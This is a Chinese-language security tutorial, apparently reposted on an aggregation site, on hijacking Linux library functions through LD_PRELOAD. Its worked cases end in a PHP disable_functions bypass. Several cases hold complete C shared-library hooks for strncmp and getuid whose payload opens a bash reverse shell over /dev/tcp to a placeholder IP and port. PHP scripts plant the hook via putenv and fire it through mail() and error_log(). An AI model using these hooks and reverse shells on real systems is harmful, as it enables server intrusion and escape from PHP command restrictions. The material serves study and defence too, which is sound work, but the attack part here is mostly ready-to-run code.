LD_PRELOAD劫持(超详细篇)

这篇具有很好参考价值的文章主要介绍了LD_PRELOAD劫持(超详细篇)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

前提知识

环境变量

链接

LD_PRELOAD

LD_LIBRARY_PATH

ELF文件

/bin、/sbin、/usr/sbin、/usr/bin

漏洞复现

案例一(随机数劫持)

案例二(ls的劫持)

案例三(__attribute__&LD_PRELOAD劫持)

案例四(利用 LD_PRELOAD 绕过 Disable_Functions)

案例五(利用 error_log() 启动新进程来劫持系统函数)


前提知识

环境变量

Linux 系统提供了多种方法来改变动态库连接器装载共享库路径的方法。通过使用此类方法,我们可以实现一些特殊的需求,如:动态库的调试、改变应用程序的行为方式等。

链接

编译器找到程序中所引用的函数或全局变量所存在的位置

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
  • 对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致一些非预期的执行结果或者绕过某些安全设置。

LD_PRELOAD

LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数.假设现在出现了一种这样的情况,一个文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一模一样,而LD_PRELOAD路径指向这个文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,最后当我们执行了一个指令后它会自动调用一次恶意的函数,这就会导致一些非预期的漏洞出现

1 .so后缀就是动态链接库的文件名 。

2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 。

3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。

4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD 。

5 unset LD_PRELOAD 还原函数调用关系

LD_LIBRARY_PATH

LD_LIBRARY_PATH 可以临时改变应用程序的共享库(如:动态库)查找路径,而不会影响到系统中的其他程序。

ELF文件

ELF文件是一种用于二进制文件、可执行文件、目标代码、共享库和core转存格式文件。是UNIX系统实验室(USL)作为应用程序二进制接口(Application Binary Interface,ABI)而开发和发布的,也是Linux的主要可执行文件格式。

/bin、/sbin、/usr/sbin、/usr/bin

命令功能角度:

  • /sbin 下的命令属于基本的系统命令,如shutdown,reboot,用于启动系统,修复系统
  • /bin下存放一些普通的基本命令,如ls,chmod等,这些命令在Linux系统里的配置文件脚本里经常用到

用户权限的角度:

  • /sbin目录下的命令通常只有管理员才可以运行
  • /bin下的命令管理员和一般的用户都可以使用

/usr/sbin存放的一些非必须的系统命令;/usr/bin存放一些用户命令

 

漏洞复现

案例一(随机数劫持)

  • rand.c
#include<stdio.h>
#include<stdlib.h>
#include<time.h> 
int main()
{
	srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同
    int i = 10;
    while(i--) printf("%d\n",rand());
    return 0;
}
gcc rand.c -o rand

ld_preload,# web安全,linux,安全,web安全,网络安全,系统安全

  • unrand.c
int rand()
{
return 666;
}
gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
gcc -shared -fPIC unrand.c -o unrand.so
export LD_PRELOAD=$PWD/unrand.so

ld_preload,# web安全,linux,安全,web安全,网络安全,系统安全

用ldd查看可执行文件加载的动态库优先顺序

ld_preload,# web安全,linux,安全,web安全,网络安全,系统安全

案例二(ls的劫持)

命令查看ls会调用的函数是否有strncmp

readelf -Ws /usr/bin/ls|grep strncmp

而这些指令并非是我们看到的输入直接得到数据,它其实背后运行了许多的函数,若我们利用LD_PRELOAD劫持了这些函数中的其中一个,自定义一个恶意代码覆盖某个函数,当我们执行一次指令恶意代码就执行一次

利用报错查看strncmp原函数的内置参数

#include<stdio.h>
#include<stdlib.h>
#include<time.h> 
int main()
{
int strncmp()
{
int a=1;
}
    return 0;
}

写错参数获取正确的参数

gcc -shared -fPIC ls.c -o ls.so
  • ls.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    printf("hello i am haker!!!\n");
}
 
int strncmp(const char *__s1, size_t __n) {
    if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    printf("hello i am haker!!!\n");
}
 
int strncmp(const char *__s1, const char *__s2, size_t __n) {
    if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

ld_preload,# web安全,linux,安全,web安全,网络安全,系统安全

export LD_PRELOAD=$PWD/ls.so

unset LD_PRELOAD

└─$ ls     
hello i am haker!!!
ls.c  ls.so

把payload修改为bash命令弹shell

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    system("bash -c 'bash -i >& /dev/tcp/IP/端口 0>&1'");
}
 
int strncmp(const char *__s1, const char *__s2, size_t __n) {
    if (getenv("LD_PRELOAD") == NULL) { 
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

案例三(__attribute__&LD_PRELOAD劫持)

mail函数是一个发送邮件的函数,当使用到这玩意儿发送邮件时会使用到系统程序/usr/sbin/sendmail,我们如果能劫持到sendmail触发的函数,那么就可以达到我们之前讲的那个目的了。

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它

//last.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    printf("i am hacker!!\n");
}
gcc -shared -fPIC con.c -o con.so
export LD_PRELOAD=$PWD/con.so

ld_preload,# web安全,linux,安全,web安全,网络安全,系统安全

案例四(利用 LD_PRELOAD 绕过 Disable_Functions)

基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成以下几个步骤:

  • 查看进程调用的系统函数明细
  • 找寻内部可以启动新进程的 PHP 函数
  • 找到这个新进程所调用的系统库函数并重写
  • PHP 环境下劫持系统函数注入代码

虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 PHP 启动外部程序才行,并且只要有进程启动行为即可,无所谓是谁。所以我们要寻找内部可以启动新进程的 PHP 函数。比如处理图片、请求网页、发送邮件等三类场景中可能存在我想要的函数,但是经过验证,发送邮件这一场景能够满足我们的需求,即 mail()。

readelf -Ws /usr/sbin/sendmail->getuid

  • hook_getuid.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/ ip/端口 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}
gcc -shared -fPIC hook_getuid.c -o hook_getuid.so

mail.php
<?php
putenv("LD_PRELOAD=/var/tmp/hook_getuid.so");    // 注意这里的目录要有访问权限
mail("a@localhost","","","","");
?>

// 运行 PHP 函数 putenv(), 设定环境变量 LD_PRELOAD 为 hook_getuid.so, 以便后续启动新进程时优先加载该共享对象。
// 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 hook_getuid.so 中的同名 getuid() 所劫持。

案例五(利用 error_log() 启动新进程来劫持系统函数)

error_log 与 mail 函数的原理一样,都会启动一个新的系统进程 /usr/sbin/sendmail

利用方式也是一样的,都可以劫持 getuid 函数。文章来源地址https://www.toymoban.com/news/detail-782678.html

  • error_log.php
<?php
putenv("LD_PRELOAD=/var/tmp/hook_getuid.so");    // 注意这里的目录要有访问权限
error_log("", 1, "", "");
?>

到了这里,关于LD_PRELOAD劫持(超详细篇)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Webpack5 Preload/Prefetch技术

    在现代Web开发中,页面加载速度对于用户体验至关重要。为了提高网页加载性能,Webpack 5推出了Preload和Prefetch这两个特性,可以帮助提前获取关键资源,从而加速页面加载速度。 Preload用于加载当前页面所需的重要资源。当你确定某个资源对于当前页面是必需的,并且希望在

    2024年02月14日
    浏览(35)
  • webpack配置preload和prefetch预加载技术

    我们前面已经做了代码分割,同时会使用 import 动态导入语法来进行代码按需加载(我们也叫 懒加载 ,比如路由懒加载就是这样实现的)。 但是加载速度还不够好,比如:是用户 点击按钮时 才加载这个资源的, 如果资源体积很大,那么用户会感觉到明显卡顿效果 。 要优化

    2024年02月09日
    浏览(48)
  • Golang Gorm 一对多查询 preload预加载

     GORM允许使用  Preload 通过多个SQL中来直接加载关系, 例如: 其实很简单, 你要preload  user表 的数据,gorm就提前把这张表全部取出来,然后再执行 First 或 Find 这样的方法去查询主数据,最后把两种数据通过外键关联一一对应起来。 其实preload也就是做了两次查询。    有了

    2024年02月11日
    浏览(38)
  • preload和prefetch、dns-prefetch和preconnect

    三、总结

    2024年02月09日
    浏览(37)
  • electron学习-03preload 预加载-主进程 和 渲染进程之间通信

    主进程 是有着完全操作系统访问权限的 Node.js 环境; 渲染进程 默认跑在网页页面上。 渲染进程不能直接访问 Node.js 接口;主进程访不能直接访问 DOM。 预加载 脚本 运行在 具有 HTML DOM 和 Node.js、Electron API 的有限子集访问权限的环境中 预加载脚本: 将 Electron 的不同类型的进

    2023年04月09日
    浏览(42)
  • Phaser笔记-scene中的preload、create、update、player、键盘控制

    一般phaser最简单的配置文件如下: 其中scene有3个函数:preload、create、update preload:是在create函数前调用的,一般用于资源的加载; create:preload完成后,就会调用到这函数,这个函数一般用于构造界面,关联玩家键盘,游戏大部分逻辑事件等等等; update:会按周期进行调用,

    2024年02月11日
    浏览(29)
  • Vue报错was preloaded using link preload but not used within a few seconds from the window‘s load

    在vue小程序开发的时候报了一个不知所以的错误,后来发现是因为注释的问题,这解析太严谨了  报错信息如下:  报错代码: 修改后代码,把注释取消即可:

    2024年02月12日
    浏览(49)
  • 【已解决】微信小程序编译后白屏(The resource was preloaded using link preload but not used within a few seconds ...)

    事情发生在重装微信小程序开发者工具后。。。微信小程序编译后白屏,控制台报错: 对比之前开发工具的设置,发现不知何时手残多打了一个勾: 使用独立域进行调试 去掉后,正常了。。。 白屏挺常见的,原因也是千奇百怪,此解决方法仅限此原因。。。

    2024年02月08日
    浏览(127)
  • LD14雷达STM32F103C8T6获取LD14激光雷达数据

    LD14 主要由激光测距核心,无线传电单元,无线通讯单元,角度测量单元、电机驱动单元和机械外壳组成。 LD14 测距核心采用三角测量法技术,可进行每秒 2300 次的测距。每次测距时,LD14 从一个固定的角度发射出红外激光,激光遇到目标物体后被反射到接收单元。通过激光、

    2024年02月08日
    浏览(51)
  • Android Glide preload RecyclerView切入后台不可见再切换可见只加载当前视野可见区域item图片,Kotlin

    build.gradle文件: 如果手机图片很多,假设已经将全部图片装入宫格的列表,在快速上下滑动过程中,由于glide会累积每一个图片的加载任务,如果图片比较大,上下滑动时间又很长,那么累积任务会很严重,导致异常发生,实现在RecyclerView切入后台(或不可见)时候,然后再

    2024年02月10日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包